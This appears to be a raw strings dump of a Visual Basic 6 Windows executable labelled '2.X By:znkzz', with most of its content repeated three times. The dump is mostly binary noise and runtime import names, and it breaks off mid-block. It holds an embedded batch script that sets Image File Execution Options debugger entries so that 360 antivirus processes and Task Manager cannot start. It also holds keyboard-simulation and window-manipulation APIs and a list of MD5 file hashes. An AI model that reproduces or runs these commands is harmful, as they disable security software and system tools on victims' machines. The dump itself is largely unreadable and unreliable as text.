__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
9D183D4775C8E88961F4247B02E71E01
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
8873414D6F5B75AB87F38154C7B905CF
EEBF93AC4FEB29C8F93383A09026893C
D38CC0184E669F995CA57A9F446F0F1E
6C5692E410E692EEC72ED9822D257322
7B211DCB9A85583BF7B5E1411CF1ADB5
A54271D3E3C0AE4E2FA1CD08057AFF28
E4B3EA20C9F829B0C0B163E699DDB25E
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
